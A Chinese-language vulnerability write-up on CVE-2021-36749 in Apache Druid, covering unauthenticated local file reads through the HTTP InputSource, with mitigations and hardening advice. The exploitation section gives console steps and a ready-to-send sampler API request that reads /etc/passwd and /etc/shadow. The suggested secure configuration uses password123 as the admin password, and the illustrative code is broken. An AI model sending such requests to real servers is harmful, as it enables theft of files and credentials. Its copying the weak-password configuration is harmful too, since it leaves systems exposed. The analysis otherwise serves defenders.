Apache Druid ＜=0.21.1 漏洞深度剖析：HTTP InputSource 未授权访问的3层防御失效

Apache Druid HTTP InputSource 安全漏洞的三重防御失效机制解析

漏洞背景与影响范围

Apache Druid作为一款高性能的实时分析数据库，在数据处理领域占据重要地位。2021年曝光的CVE-2021-36749漏洞影响了0.21.1及以下版本，该漏洞允许攻击者在未授权情况下读取服务器任意文件，导致严重的信息泄露风险。

受影响版本：

• Apache Druid ≤ 0.21.1
• 安全版本：Apache Druid ≥ 0.22.0

漏洞成因的三层防御失效

1. 默认无认证机制的设计缺陷

Apache Druid管理界面默认不启用任何身份验证机制，这为攻击者提供了直接入口。在安全评估中，我们发现：

[攻击路径] 无需认证 → 直接访问管理接口 → 获取系统控制权

对比分析：

2. HTTP InputSource 的未过滤漏洞

InputSource组件负责从外部数据源读取信息，但其HTTP实现存在严重缺陷：

// 伪代码展示漏洞核心 public class HTTPInputSource { public void fetchData(String uri) { // 未对uri协议进行校验 File file = new File(URI.create(uri)); return Files.readAllBytes(file); } }

攻击向量：

• 利用file://协议读取本地文件
• 通过http://访问内网服务
• 使用特殊构造的URI绕过基础检查

3. 权限继承机制的滥用

Druid服务进程通常以较高权限运行，导致漏洞影响被放大：

# 典型Druid进程权限 $ ps aux | grep druid druid 12345 1.5 2.8 1023456 89456 ? Ssl 10:00 0:15 /usr/bin/java -server -Xms256m -Xmx256m

关键风险点：

• 进程默认拥有运行用户的所有权限
• 可访问系统关键文件（如/etc/passwd）
• 能够读取应用配置文件获取数据库凭证

漏洞利用的实战分析

基础利用方式

通过Web界面直接触发漏洞：

1. 访问http://target:8888/unified-console.html
2. 导航至Load data → HTTP(s) → Connect data
3. 在URIs字段输入file///etc/passwd
4. 点击Apply执行读取操作

API接口直接利用

当Web界面不可用时，可直接调用后端API：

POST /druid/indexer/v1/sampler HTTP/1.1 Host: target:8888 Content-Type: application/json { "type": "index", "spec": { "ioConfig": { "type": "index", "inputSource": { "type": "http", "uris": ["file:///etc/shadow"] } } } }

防御措施与修复方案

临时缓解方案

1. 网络层控制：

   • 限制Druid端口的外部访问
   • 配置防火墙规则只允许可信IP访问

2. 系统层加固：

   # 创建专用低权限用户 useradd -r -s /bin/false druid_runtime chown -R druid_runtime:druid_runtime /opt/druid

永久修复方案

升级路径：

安全配置增强：

在common.runtime.properties中添加：

# 启用基础认证 druid.auth.authenticatorChain=["basic"] druid.auth.basic.initialAdminPassword=password123 druid.auth.basic.initialInternalClientPassword=password123 # 限制InputSource类型 druid.ingestion.security.allowedInputSources=["s3","hdfs"]

深度防御体系建设

1. 安全开发实践

• 输入验证框架集成
• 自动化安全测试流程
• 安全设计模式应用

2. 运行时防护

推荐架构：

[客户端] → [WAF] → [认证网关] → [Druid集群] ↓ [审计日志系统]

3. 持续监控

关键监控指标：

• 异常文件读取行为
• 非授权API调用
• 敏感文件访问尝试

漏洞的启示与最佳实践

从这次漏洞事件中，我们可以总结出以下关键经验：

1. 默认安全原则：

   • 新安装应默认启用安全配置
   • 提供明确的安全指引文档

2. 组件隔离策略：

   • 网络分区部署
   • 最小权限运行

3. 纵深防御体系：

   • 多层验证机制
   • 输入输出过滤
   • 行为监控审计

在实际生产环境中，我们建议不仅修复该特定漏洞，更要建立全面的安全开发生命周期，将安全考量融入每个设计和实现环节。